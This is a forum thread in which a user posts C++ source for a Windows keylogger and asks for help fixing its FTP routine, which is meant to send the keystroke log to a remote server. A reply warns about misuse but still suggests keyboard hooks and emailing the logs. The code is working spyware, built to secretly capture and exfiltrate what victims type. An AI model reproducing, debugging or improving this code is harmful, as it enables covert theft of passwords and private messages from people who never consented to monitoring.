Hey, Im new to this forum, and I have a keylogger. Everything works fine except for the ftp upload function which doesn't work, meaning that the program records the keys etc. but doesn't send the log to the ftp server. Any ideas why?

#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <wininet.h>
#include <time.h>
void uploadtimer();

std::string GetKey(int Key)
{
std::string KeyString = "";

if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}

return KeyString;
}
void logrecord()
{
std::string Filename = "C:\\log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

while(true)
{

Sleep(5);

for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);

FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
void uploadtimer();
}
}
}
void uploadtimer()
{
     time_t start_time=time(NULL);
     time_t current_time;
     while(1)
     {
             current_time=time(NULL);
             if(current_time-start_time>120)
             {
                                     HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); 


   HINTERNET hFtpSession = InternetConnect(hInternet,"myserver",INTERNET_DEFAULT_FTP_PORT,"myacc","mypass", INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
   FtpPutFile(hFtpSession, "C:\\log.txt","log.txt", FTP_TRANSFER_TYPE_BINARY, 0);
  

   InternetCloseHandle(hFtpSession); 
   InternetCloseHandle(hInternet); 
}
}
}      
                                            

int main()
{
logrecord();
return 0;
}

This is a dangerous topic to post a question about, we can't just trust you wont use this for any illegal purposes, therefore you probably wont get the replies you're expecting. Either way, if you're going to write a keylogger, you may as well save the poor user some CPU by using hooks instead of an infinite loop. [link]

As for sending the logged keys, I dunno, try emailing.

Edited 7 Years Ago by William Hemsworth: n/a

This article has been dead for over six months. Start a new discussion instead.